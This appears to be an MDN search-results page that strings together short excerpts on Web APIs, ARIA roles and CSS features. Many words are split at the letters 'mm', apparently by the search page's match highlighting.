...bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color co
mmand.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status co
mment web speech apithe definition of 'start()' in that specification.
SpeechRecognitionErrorEvent.error - Web APIs
network network co
mmunication required for completing the recognition failed.
... bad-gra
mmar there was an error in the speech recognition gra
mmar or semantic tags, or the chosen gra
mmar format or semantic tag format was unsupported.
... examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status co
mment web speech apithe definition of 'error' in that specification.
Storage Access API - Web APIs
this also prevents embedded content on the page from spa
mming the browser or user with excessive access requests.
...design properties unique to firefox are su
mmarized here: if the embedded origin tracker.example has already obtained first-party storage access on the top-level origin foo.example, and the user visits a page from foo.example embedding a page from tracker.example again in less than 30 days, the embedded origin will have storage access i
mmediately when loading.
... if a page from top-level origin foo.example embeds more than one <iframe> from tracker.example, and one of those <iframe>s uses the storage access api in order to obtain storage access successfully, all other iframes from tracker.example on foo.example top-level origins will i
mmediately gain storage access as well, without needing to call requeststorageaccess() separately.
Using readable streams - Web APIs
as a javascript developer, progra
mmatically reading and manipulating streams of data received over the network, chunk by chunk, is very useful!
... the first object can contain up to five members, only the first of which is required: start(controller) — a method that is called once, i
mmediately after the readablestream is constructed.
... // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) // create a gray-scaled png stream out of the original .then(rs => logreadablestream('fetch response stream', rs)) .then(body => body.pipethrough(new pngtransformstream())) .then(rs => logreadablestream('png chunk stream', rs)) su
mmary that explains the basics of “default” readable streams.
Using writable streams - Web APIs
as a javascript developer, progra
mmatically writing data to a stream is very useful!
... the first object can contain up to four members, all of which are optional: start(controller) — a method that is called once, i
mmediately after the writablestream is constructed.
... when abort is called, any previously enqueued chunks are just thrown away i
mmediately and then the stream is moved to an errored state.
Streams API - Web APIs
the streams api allows javascript to progra
mmatically access streams of data received over the network and process them as desired by the developer.
... this request could then be passed to a windoworworkerglobalscope.fetch() to co
mmence fetching the stream.
... specifications specification status co
mment streams living standard initial definition.
SubtleCrypto.deriveKey() - Web APIs
they can then use this shared secret as a sy
mmetric key to secure their co
mmunication, or can use the secret as an input to derive such a key (for example, using the hkdf algorithm).
...btle.derivekey( { "name": "pbkdf2", salt: salt, "iterations": 100000, "hash": "sha-256" }, keymaterial, { "name": "aes-gcm", "length": 256}, true, [ "encrypt", "decrypt" ] ); return window.crypto.subtle.encrypt( { name: "aes-gcm", iv: iv }, key, plaintext ); } specifications specification status co
mment web cryptography apithe definition of 'subtlecrypto.derivekey()' in that specification.
... reco
mmendation initial definition.
SubtleCrypto.unwrapKey() - Web APIs
unwrapping a "raw" key in this example we unwrap an aes-gcm sy
mmetric key.
... // algorithm params for key encryption key name: "aes-gcm", iv: ivbuffer }, { // algorithm params for key to unwrap name: "rsa-pss", hash: "sha-256" }, true, // extractability of key to unwrap ["sign"] // key usages for key to unwrap ); } specifications specification status co
mment web cryptography apithe definition of 'subtlecrypto.unwrapkey()' in that specification.
... reco
mmendation initial definition.
SubtleCrypto.verify() - Web APIs
it is the secret key for a sy
mmetric algorithm and the public key for a public-key system.
..."valid" : "invalid"); } specifications specification status co
mment web cryptography apithe definition of 'subtlecrypto.verify()' in that specification.
... reco
mmendation initial definition.
Using WebRTC data channels - Web APIs
let's look at each of these cases, starting with the first, which is the most co
mmon.
... the rtcdatachannel object is returned i
mmediately by createdatachannel(); you can tell when the connection has been made successfully by watching for the open event to be sent to the rtcdatachannel.
... when two users running firefox are co
mmunicating on a data channel, the message size limit is much larger than when firefox and chrome are co
mmunicating because firefox implements a now deprecated technique for sending large messages in multiple sctp messages, which chrome does not.
Writing WebSocket client applications - Web APIs
websocket client applications use the websocket api to co
mmunicate with websocket servers using the websocket protocol.
... creating a websocket object in order to co
mmunicate using the websocket protocol, you need to create a websocket object; this will automatically attempt to open the connection to the server.
... as establishing a connection is asynchronous and prone to failure there is no guarantee that calling the send() method i
mmediately after creating a websocket object will be successful.
Using bounded reference spaces - Web APIs
you can create a session that supports a bounded-floor reference space if available by using code such as the following: async function onactivatexrbutton(event) { if (!xrsession) { navgator.xr.requestsession("i
mmersive-vr"), { requiredfeatures: ["local-floor"], optionalfeatures: ["bounded-floor"] }).then((session) => { xrsession = session; startsessionanimation(); }); } } this function, called when the user clicks on a button to start the xr experience, works as usual, exiting at once if a session is already in place, then requesting a new session using i
mmersive-vr mod...
... it's important, however, to keep in mind that while a local-floor space provides a floor-relative space and is always available for i
mmersive sessions, it also has significant differences from bounded-floor, so you need to be prepared to handle these differences.
... keep in mind that by default, the viewer's position is placed i
mmediately above the floor, like a camera lying on the ground.
Advanced techniques: Creating and sequencing audio - Web APIs
playing the audio in time a co
mmon problem with digital audio applications is getting the sounds to play in time so that the beat remains consistent, and things do not slip out of time.
...there's no point repeating it all here, but it's highly reco
mmended to read this article and use this method.
... this.dataset.playing = 'true'; } else { window.cleartimeout(timerid); this.dataset.playing = 'false'; } }) }); su
mmary we've now got an instrument inside our browser!
Using IIR filters - Web APIs
it's a co
mmonly-used type and we already have it as a node in the web audio api.
... when you are using an iirfilternode instead of a biquadfilternode you are creating the filter yourself, rather than just choosing a pre-progra
mmed type.
...pacing+fontsize); // loop over our magnitude response data and plot our filter canvasctx.beginpath(); for(let i = 0; i < magresponseoutput.length; i++) { if (i === 0) { canvasctx.moveto(spacing, height-(magresponseoutput[i]*100)-spacing ); } else { canvasctx.lineto((width/totalarrayitems)*i, height-(magresponseoutput[i]*100)-spacing ); } } canvasctx.stroke(); su
mmary that's it for our iirfilter demo.
Functions and classes available to Web Workers - Web APIs
unknown no postmessage() yes, on dedicatedworkerglobalscope no no unknown no apis available in workers function functionality support in gecko (firefox) support in ie support in blink (chrome and opera) support in webkit (safari) broadcast channel api allows simple co
mmunication between browsing contexts (that is windows, tabs, frames, or iframes) with the same origin (usually pages from the same site).
... 38 (38) no support no support no support cache cache api provides the ability to progra
mmatically control cache storage associated with current origin.
... channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, two documents via a sharedworker, or two workers) to co
mmunicate directly via two ports.
Web Workers API - Web APIs
they are a little more complex than dedicated workers — scripts must co
mmunicate via an active port.
... web worker interfaces abstractworker abstracts properties and methods co
mmon to all kind of workers (i.e.
... specifications specification status co
mment html living standardthe definition of 'web workers' in that specification.
Window.external - Web APIs
however, this is now deprecated, and the contained methods are now du
mmy functions that do nothing as per spec.
... methods the external object has the following methods: method description addsearchprovider(descriptionurl) du
mmy function; does nothing.
... issearchproviderinstalled() du
mmy function; does nothing.
Window.self - Web APIs
me in the list } furthermore, when executing in the active document of a browsing context, window is a reference to the current global object and thus all of the following are equivalent: var w1 = window; var w2 = self; var w3 = window.window; var w4 = window.self; // w1, w2, w3, w4 all strictly equal, but only w2 will function in workers specifications specification status co
mment html living standardthe definition of 'window.self' in that specification.
... reco
mmendation no difference from the html5 html5the definition of 'window.self' in that specification.
... reco
mmendation first snapshot containing the definition of window.self.
Window.top - Web APIs
syntax var topwindow = window.top; notes where the window.parent property returns the i
mmediate parent of the current window, window.top returns the topmost window in the hierarchy of window objects.
... specifications specification status co
mment html living standardthe definition of 'window.top' in that specification.
... reco
mmendation initial definition ...
Window.window - Web APIs
specifications specification status co
mment html living standardthe definition of 'window.window' in that specification.
... reco
mmendation no difference from the html5 html5the definition of 'window.window' in that specification.
... reco
mmendation first snapshot containing the definition of window.window.
WindowEventHandlers.onbeforeunload - Web APIs
specification status co
mment html living standardthe definition of 'onbeforeunload' in that specification.
... reco
mmendation html5the definition of 'globaleventhandlers' in that specification.
... reco
mmendation ...
WindowEventHandlers.onhashchange - Web APIs
ngeevent)(function(){ var lasturl = document.url; window.addeventlistener("hashchange", function(event){ object.defineproperty(event, "oldurl", {enumerable:true,configurable:true,value:lasturl}); object.defineproperty(event, "newurl", {enumerable:true,configurable:true,value:document.url}); lasturl = document.url; }); }()); specifications specification status co
mment html living standardthe definition of 'onhashchange' in that specification.
... reco
mmendation html5the definition of 'globaleventhandlers' in that specification.
... reco
mmendation ...
WindowEventHandlers.onunload - Web APIs
specifications specification status co
mment html living standardthe definition of 'onunload' in that specification.
... reco
mmendation html5the definition of 'globaleventhandlers' in that specification.
... reco
mmendation ...
WindowOrWorkerGlobalScope.indexedDB - Web APIs
example the following code creates a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open('todolist'); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; } } specifications specification status co
mment indexed database api draftthe definition of 'indexeddb' in that specification.
... reco
mmendation defined in a windoworworkerglobalscope partial in the newest spec.
... reco
mmendation initial definition.
Worker.terminate() - Web APIs
the terminate() method of the worker interface i
mmediately terminates the worker.
... example the following code snippet shows creation of a worker object using the worker() constructor, which is then i
mmediately terminated.
... var myworker = new worker('worker.js'); myworker.terminate(); specifications specification status co
mment html living standardthe definition of 'worker.terminate()' in that specification.
Worker - Web APIs
workers may use xmlhttprequest for network co
mmunication, but its responsexml and channel attributes are always null.
... worker.terminate() i
mmediately terminates the worker.
... specifications specification status co
mment html living standardthe definition of 'worker' in that specification.
Worklet - Web APIs
the worklet interface abstracts properties and methods co
mmon to all kind of worklets, and cannot be created directly.
... instead, you can use one of the following classes: name description location specification paintworklet for progra
mmatically generating an image where a css property expects a file.
... specifications specification status co
mment worklets level 1the definition of 'worklet' in that specification.
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
r message: " + secinfo.errormessage + "\n"); } } else { dump("\tno security info available for this channel\n"); } // print ssl certificate details if (secinfo instanceof ci.nsisslstatusprovider) { var cert = secinfo.queryinterface(ci.nsisslstatusprovider) .sslstatus.queryinterface(ci.nsisslstatus).servercert; dump("\tco
mmon name (cn) = " + cert.co
mmonname + "\n"); dump("\tissuer = " + cert.issuerorganization + "\n"); dump("\torganisation = " + cert.organization + "\n"); dump("\tsha1 fingerprint = " + cert.sha1fingerprint + "\n"); var validity = cert.validity.queryinterface(ci.nsix509certvalidity); dump("\tvalid from " + validity.notbeforegmt + "\n"); dump("\tvalid unti...
...ener("error", function(e) { var error = createtcperrorfromfailedxhr(req); dumpsecurityinfo(req, error); }, false); req.onload = function(e) { dumpsecurityinfo(req); }; req.send(); } then test("https://addons.mozilla.org"); produced the following output in my console: connection status: succeeded security info: security state: secure co
mmon name (cn) = addons.mozilla.org organisation = mozilla corporation issuer = verisign, inc.
... valid until 8/20/2013 23:59:59 pm and here is the output of making an https request to a server that uses an expired certificate: test("https://www.appliancetherapy.com/"); note that the security state has become "insecure" now and there is an error name reported: connection status: failed: securityexpiredcertificateerror security info: security state: insecure co
mmon name (cn) = www.appliancetherapy.com organisation = appliance therapy group (selane products, inc) issuer = verisign, inc.
XRPermissionDescriptor.optionalFeatures - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions.
... xrreferencespace usage notes examples let xrpermissiondesc = { name: "xr", mode: "i
mmersive-vr", optionalfeatures: [ "bounded-floor" ] }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); } } else { setupxr(); } specifications specification status co
mment ...
XRPermissionStatus.granted - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions.
... xrreferencespace usage notes examples specifications specification status co
mment webxr device apithe definition of 'xrpermissionstatus.granted' in that specification.
XRReferenceSpaceType - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions.
... xrreferencespace specifications specification status co
mment webxr device apithe definition of 'xrreferencespacetype' in that specification.
XRRenderState.inlineVerticalFieldOfView - Web APIs
the read-only inlineverticalfieldofview property of the xrrenderstate interface returns the default vertical field of view for "inline" sessions and null for all i
mmersive sessions.
... syntax var inlineverticalfieldofview = xrrenderstate.inlineverticalfieldofview; value a number for "inline" sessions, which represents the default field of view, and null for i
mmersive sessions.
... specifications specification status co
mment webxr device apithe definition of 'xrrenderstate.inlineverticalfieldofview' in that specification.
XRSession.cancelAnimationFrame() - Web APIs
example in the example below we see code which starts up a webxr session if i
mmersive vr mode is supported.
... const xr = navigator.xr; let requesthandle = null; let xrsession = null; if (xr) { xr.issessionsupported('i
mmersive-vr') .then((issupported) => { if (issupported) { startxr(); } }); } function framecallback(time, xrframe) { xrsession.requestanimationframe(framecallback); // update and render the frame } async function startxr() { xrsession = xr.requestsession("i
mmersive-vr"); if (xrsession) { stopbutton.onclick = stopxr; requesthandle = xrsession.requestanimationfram...
...e(framecallback); } } function pausexr() { if (xrsession && requesthandle) { xrsession.cancelanimationframe(requesthandle); requesthandle = null; } } specifications specification status co
mment webxr device apithe definition of 'xrsession.cancelanimationframe' in that specification.
XRSession.environmentBlendMode - Web APIs
this is used to differentiate between fully-i
mmersive vr sessions and ar sessions which render over a pass-through image of the real world, possibly partially transparently.
...this is primarily used by fully-i
mmersive vr headsets, which totally obscure the surrounding environment, with none of the real world shown to the user at all.
... specifications specification status co
mment webxr augmented reality modulethe definition of 'xrsession.environmentblendmode' in that specification.
XRSession.onselect - Web APIs
this typically represents the pressing of a button or trigger, a hand gesture, or a spoken co
mmand.
... the select event is sent after tracking of the primary action begins, as announced by the selectstart event, and i
mmediately before the tracking of the primary action ends, which is announced by the selectend event.
... xrsession.onselect = event => { let source = event.inputsource; if (source.handedness == user.handedness) { if (source.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(source.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose); } } } }; specifications specification status co
mment webxr device apithe definition of 'xrsession.onselect' in that specification.
XRSession.requestReferenceSpace() - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions.
... specifications specification status co
mment webxr device apithe definition of 'requestreferencespace()' in that specification.
XRSession.visibilityState - Web APIs
usage notes it's important to keep in mind that because an i
mmersive webxr session is potentially being shown using a different display than the html document in which it's running (such as when being shown on a headset), the value of a session's visibilitystate may not necessarily be the same as the owning document's visibilitystate.
... for instance, if the viewer is using a headset tethered to a computer and the i
mmersive scene is obscured by a configuration ui, the user could peek out from behind the headset and still be able to see the document itself on their computer's monitor.
... specifications specification status co
mment webxr device apithe definition of 'xrsession.visibilitystate' in that specification.
XRSpace - Web APIs
the xrspace interface of the webxr device api is an abstract interface providing a co
mmon basis for every class which represents a virtual coordinate system within the virtual world, in which its origin corresponds to a physical location.
...there are exceptions to this static nature; most co
mmonly, an xrreferencespace may move in order to adjust based on reconfiguration of the user's headset or other motion-sensitive device.
... specifications specification status co
mment webxr device apithe definition of 'xrspace' in that specification.
XSL Transformations in Mozilla FAQ - Web APIs
the most co
mmon cause is the mime type handling.
...a known workaround is to add a sufficiently long xml co
mment to the beginning of your xml file in order to "push" the <feed> or <rss> tag out of the first 512 bytes, which is analyzed by firefox to determine if it's a feed or not.
... original document information author(s): axel hecht last updated date: february 2, 2005 copyright information: portions of this content are © 1998–2006 by individual mozilla.org contributors; content available under a creative co
mmons license ...
Using the alertdialog role - Accessibility
the alertdialog role is used to notify the user of urgent information that demands the user's i
mmediate attention.
...in other words, when a dialog's information and controls require the user's i
mmediate attention alertdialog should be used instead of dialog.
...ialog1title">your login session is about to expire</h2> <p id="dialog1desc">to extend your session, click the ok button</p> <button>ok</button> </div> </div> working examples: tbd notes aria attributes used alertdialog aria-labelledby aria-describedby related aria techniques using the dialog role using the alert role compatibility tbd: add support information for co
mmon ua and at product combinations additional resources ...
Using the article role - Accessibility
examples of an article include web log posts, newspaper or magazine articles and use-submitted co
mments.
... articles can be nested; for example, a web log entry on a site that accepts user-submitted co
mments could represent the co
mments as articles nested within the article for the web log entry.
... examples <article role="article"> <header> <h2>blog post</h2> </header> <section class="content"> <p>a very interesting post</p> </section> <section class="co
mments"> <div class="co
mment" role="article"> <p>meaningful co
mment</p> </div> <div class="co
mment" role="article"> <p>positive co
mment</p> </div> </section> </article> notes aria attributes used related aria techniques aria techniques - list of roles compatibility tbd: add support information for co
mmon ua and at product combinations additional resources wai-...
Using the slider role - Accessibility
as the user interacts with the thumb, the application must progra
mmatically adjust the slider's aria-valuenow (and possible aria-valuetext) attribute to reflect the current value.
...the application will progra
mmatically update the value of aria-valuenow in response to user input.
...cument.getelementbyid("day-handle"); handle.setattribute("aria-valuenow", newvalue.tostring()); handle.setattribute("aria-valuetext", daynames[newvalue]); }; working examples: slider example notes aria attributes used aria-valuemin aria-valuemax aria-valuenow aria-valuetext aria-orientation related aria techniques compatibility tbd: add support information for co
mmon ua and at product combinations additional resources wai-aria specification for the slider role ...
How to file ARIA-related bugs - Accessibility
the state of aria technology has always depended on the co
mmunity.
... tbd: add proper accessibility markup to table genre software where to file notes screen readers freedom scientific jaws jaws technical support form gw micro window eyes window-eyes co
mments, questions, and feedback (email) non visual desktop access (nvda) file nvda bugs discuss nvda issues browsers apple safari file webkit.org bugs google chrome file chromium bugs microsoft internet explorer file ie bugs microsoft edge file ms edge bugs view existing ms edge aria bugs ...
... mozilla firefox file firefox bugs use component: disability access apis opera file opera bugs use [aria] in the su
mmary field js libraries dojo toolkit file dojo bug put accessibility in the component field yahoo user interface file yui bugs file against specific component in category combobox and include aria in su
mmary field ...
ARIA: alert role - Accessibility
it is perfect for situations such as when a user fills out a form and javascript is used to add an error message - the alert would i
mmediately read out the message.
... <button type="button" onclick="triggeralert">trigger alert</button> <p class="alert">the alert will trigger when the button is pressed.</p> function triggeralert() { var alertel = document.queryselector('.alert'); alertel.addattribute("role", "alert"); } accessibility concerns the alert role should read out content that has changed, or bring the user's attention to it i
mmediately, so it should not be used for static content or used regularly.
... reco
mmendation wai-aria authoring practicesthe definition of 'alert' in that specification.
ARIA: Complementary role - Accessibility
using the <aside> element will automatically co
mmunicate a section has a role of complementary.
... best practices prefer html using the <aside> element will automatically co
mmunicate a section has a role of complementary.
... reco
mmendation wai-aria authoring practicesthe definition of 'complementary landmark role' in that specification.
ARIA: document role - Accessibility
however, when the keyboard focus is set on the starting heading on a single conversation that contains the subject of the conversation, the screen reader user can use the reading mode co
mmands to read through the messages, expand or collapse them, and manipulate them.
... added benefits the document role is an easy way to indirectly control assistive technology behavior by unambiguously stating that this is content the user should read with standard screen reader co
mmands.
... reco
mmendation screen reader support ...
ARIA: gridcell role - Accessibility
associated wai-aria roles, states, and properties grid co
mmunicates that a parent element is a a table or tree style grouping of information.
... row required to co
mmunicate the gridcell is part of a row of a table-style grouping of information.
...as such, it is reco
mmended to use the utilize native html table markup instead of recreating a table's form and functionality with aria and javascript.
ARIA: Main role - Accessibility
by classifying and labeling sections of a page, structural information conveyed visually through layout can be represented progra
mmatically.
... <main> <h1>active <code>main</code> element</h1> <!-- content --> </main <main hidden> <h1>hidden <code>main</code> element</h1> <!-- content --> </main> best practices prefer html using the <main> element will automatically co
mmunicate a section has a role of main.
... reco
mmendation wai-aria authoring practicesthe definition of 'navigation landmark role' in that specification.
ARIA: Suggestion role - Accessibility
</p> we could even provide an information box saying who made the suggestion and when, and associate it with the suggestion via aria-details: <p>freida’s pet is a <span role="suggestion" aria-details="co
mment-source"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
... </p> <div id="co
mment-source">suggested by chris, <time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></div> browsers tend to provide a default black strikethrough for deletions, and a black underline for insertions, but you’ll probably want to use accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document.
... best practices prefer html using the <ins> and <del> element will automatically co
mmunicate a section has a role of insertion or deletion.
ARIA - Accessibility
it supplements html so that interactions and widgets co
mmonly used in applications can be passed to assistive technologies when there is not otherwise a mechanism.
... using aria live regions to announce content changes a quick su
mmary of live regions, by the makers of jaws screen reader software.
... wai-aria authoring practices the official best practices documents how best to aria-ify co
mmon widgets and interactions.
Accessibility and Spacial Patterns - Accessibility
the mechanism for this is poorly understood, but is believed to be linked to "ga
mma oscillations" set up in the brain.
... in 2005, arnold wilkins, john e
mmett, and graham harding evaluated the guidelines for characterizing patterned images that could precipitate seizures.
...colors and luminance braille part 3: a step-by-step guide to typesetting ada braille correctly in adobe illustrator spatial math in brailleblaster (4 of 5) government literature nasa: designing with blue math spatial reasoning: why math talk is about more than numbers scientific literature colour constancy in context: roles for local adaptation and levels of reference ga
mma oscillations and photosensitive epilepsy characterizing the patterned images that precipitate seizures and optimizing guidelines to prevent them arnold wilkins, john e
mmett, and graham harding contributers: heartfelt thanks to jim allan of the diagram center for his discussions on the topic of alternative means of education.
Accessibility Information for Web Authors - Accessibility
highly reco
mmended, an excellent resource.
... accessibility valet from webthing description and su
mmary to be written.
... join the mozilla accessibility co
mmunity live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
Understandable - Accessibility
it is better to just write all content at lower secondary level, even technical documentation like progra
mming tutorials, unless there is a good reason not to (e.g.
... 3.3.4 error prevention (legal, financial, data) (aa) in the case of forms involved with entry of sensitive data (such as legal agreements, e-co
mmerce transactions, or personal data), at least one of the following should be true: submissions are reversible.
...this pattern is co
mmonly used on e-co
mmerce sites like amazon.
::backdrop - CSS: Cascading Style Sheets
the ::backdrop css pseudo-element is a box the size of the viewport which is rendered i
mmediately beneath any element being presented in full-screen mode.
... when multiple elements have been placed into full-screen mode, the backdrop is drawn i
mmediately beneath the frontmost such element, and on top of the older full-screen elements.
... specifications specification status co
mment fullscreen apithe definition of '::backdrop' in that specification.
::before (:before) - CSS: Cascading Style Sheets
s its gloss</li> <li>flip it over and fry for a couple more minutes</li> <li>serve with your favorite topping</li> </ol> css li { padding:0.5em; } li[aria-current='step'] { font-weight:bold; } li[aria-current='step']::after { content: " \21e6"; /* hexadecimal for unicode leftwards white arrow*/ display: inline; } result specifications specification status co
mment css pseudo-elements level 4the definition of '::before' in that specification.
... reco
mmendation introduces the two-colon syntax.
... reco
mmendation initial definition, using the one-colon syntax ...
::placeholder - CSS: Cascading Style Sheets
an alternate approach to providing placeholder information is to include it outside of the input in close visual proximity, then use aria-describedby to progra
mmatically associate the <input> with its hint.
...without a label that has been progra
mmatically associated with an input using a combination of the for and id attributes, assistive technology such as screen readers cannot parse <input> elements.
...lders in form fields are harmful — nielsen norman group examples red text html <input placeholder="type something here!"> css input::placeholder { color: red; font-size: 1.2em; font-style: italic; } result green text html <input placeholder="type something here..."> css input::placeholder { color: green; } result specifications specification status co
mment css pseudo-elements level 4the definition of '::placeholder' in that specification.
:checked - CSS: Cascading Style Sheets
specifications specification status co
mment html living standardthe definition of ':checked' in that specification.
... reco
mmendation defines the semantic regarding html.
... reco
mmendation defines the pseudo-class, but not the associated semantic browser compatibility the compatibility table on this page is generated from structured data.
:disabled - CSS: Cascading Style Sheets
').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); // toggle the billing text fields for (var i = 0; i < billingitems.length; i++) { billingitems[i].disabled = !billingitems[i].disabled; } } result specifications specification status co
mment html living standardthe definition of ':disabled' in that specification.
... reco
mmendation defines the semantics of html and forms.
... reco
mmendation defines the pseudo-class, but not the associated semantics.
:enabled - CSS: Cascading Style Sheets
enabled):</label> <input type="text" id="firstfield" value="lorem"><br> <label for="secondfield">second field (disabled):</label> <input type="text" id="secondfield" value="ipsum" disabled="disabled"><br> <input type="button" value="submit"> </form> css input:enabled { color: #2b2; } input:disabled { color: #aaa; } result specifications specification status co
mment html living standardthe definition of ':enabled' in that specification.
... reco
mmendation defines the semantics for html and forms.
... reco
mmendation defines the pseudo-class, but not the associated semantics.
:first-child - CSS: Cascading Style Sheets
: lime; background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:first-child { color: red; font-weight: bold; } result specifications specification status co
mment selectors level 4the definition of ':first-child' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
:focus - CSS: Cascading Style Sheets
quick tip: never remove css outlines specifications specification status co
mment html living standardthe definition of ':focus' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
:invalid - CSS: Cascading Style Sheets
ield { margin: 1px; padding: 1px; } input:invalid { background-color: #ffdddd; } form:invalid { border: 5px solid #ffdddd; } input:valid { background-color: #ddffdd; } form:valid { border: 5px solid #ddffdd; } input:required { border-color: #800000; border-width: 3px; } input:required:invalid { border-color: #c00000; } result accessibility concerns the color red is co
mmonly used to indicate invalid input.
... specifications specification status co
mment html living standardthe definition of ':invalid' in that specification.
... reco
mmendation defines the semantics of html and constraint validation.
:not() - CSS: Cascading Style Sheets
syntax the :not() pseudo-class requires a co
mma-separated list of one or more selectors as its argument.
...*/ body :not(.crazy, .fancy) { font-family: sans-serif; } result specifications specification status co
mment selectors level 4the definition of ':not()' in that specification.
... reco
mmendation initial definition.
:valid - CSS: Cascading Style Sheets
accessibility concerns the color green is co
mmonly used to indicate valid input.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.1 | w3c understanding wcag 2.0 specifications specification status co
mment html living standardthe definition of ':valid' in that specification.
... reco
mmendation defines the semantics of html and constraint validation.
@charset - CSS: Cascading Style Sheets
it must be the name of a web-safe character encoding defined in the iana-registry, and must be double-quoted, following exactly one space character (u+0020), and i
mmediately terminated with a semicolon.
...ing of the style sheet to unicode utf-8 */ @charset 'iso-8859-15'; /* invalid, wrong quoting style used */ @charset "utf-8"; /* invalid, more than one space */ @charset "utf-8"; /* invalid, there is a character (a space) before the at-rule */ @charset utf-8; /* invalid, without ' or ", the charset is not a css <string> */ specifications specification status co
mment css level 2 (revision 1)the definition of '@charset' in that specification.
... reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
pad - CSS: Cascading Style Sheets
a co
mmon usage of the pad descriptor is when you need your list to start numbering from 01 and go through 02, 03 and so on, instead of just 1, 2, 3...
...ge>{1,2}<angle-percentage> = <angle> | <percentage> examples padding a counter html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style pad-example { system: numeric; symbols: "0" "1" "2" "3" "4" "5"; pad: 2 "0"; } .list { list-style: pad-example; } result specifications specification status co
mment css counter styles level 3the definition of 'pad' in that specification.
... candidate reco
mmendation initial definition ...
aspect-ratio - CSS: Cascading Style Sheets
h and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.textcontent="height:"+h.value } result specifications specification status co
mment media queries level 4the definition of 'aspect-ratio' in that specification.
... candidate reco
mmendation no change.
... reco
mmendation initial definition.
color-gamut - CSS: Cascading Style Sheets
rec2020 the output device can support approximately the gamut specified by the itu-r reco
mmendation bt.2020 color space or more.
... examples html <p>this is a test.</p> css @media (color-gamut: srgb) { p { background: #f4ae8a; } } result specifications specification status co
mment media queries level 4the definition of 'color-gamut' in that specification.
... candidate reco
mmendation initial definition.
color-index - CSS: Cascading Style Sheets
<link rel="stylesheet" href="http://foo.bar.com/base.css" /> <link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/color-stylesheet.css" /> specifications specification status co
mment media queries level 4the definition of 'color-index' in that specification.
... candidate reco
mmendation the value can now be negative, in which case it computes to false.
... reco
mmendation initial definition.
Shorthand properties - CSS: Cascading Style Sheets
the css specification defines shorthand properties to group the definition of co
mmon properties acting on the same theme.
...similarly, the most co
mmon font-related properties can be defined using the shorthand font, and the different margins around a box can be defined using the margin shorthand.
... see also css key concepts: css syntax, at-rule, co
mments, specificity and inheritance, the box, layout modes and visual formatting models, and margin collapsing, or the initial, computed, resolved, specified, used, and actual values.
Syntax - CSS: Cascading Style Sheets
each property has a set of valid values, defined by a formal gra
mmar, as well as a semantic meaning, implemented by the browser engine.
...each (valid) declaration block is preceded by one or more co
mma-separated selectors, which are conditions selecting some elements of the page.
... at-rules that start with an at sign, '@' (u+0040 co
mmercial at), followed by an identifier and then continuing up to the end of the statement, that is up to the next semi-colon (;) outside of a block, or the end of the next block.
Universal selectors - CSS: Cascading Style Sheets
</p> result specifications specification status co
mment selectors level 4the definition of 'universal selector' in that specification.
... reco
mmendation defines behavior regarding namespaces and adds hint that omitting the selector is allowed within pseudo-elements css level 2 (revision 1)the definition of 'universal selector' in that specification.
... reco
mmendation initial definition ...
all - CSS: Cascading Style Sheets
specifications specification status co
mment css cascading and inheritance level 4the definition of 'all' in that specification.
... candidate reco
mmendation added the revert value.
... candidate reco
mmendation initial definition.
background-blend-mode - CSS: Cascading Style Sheets
there can be several values, separated by co
mmas.
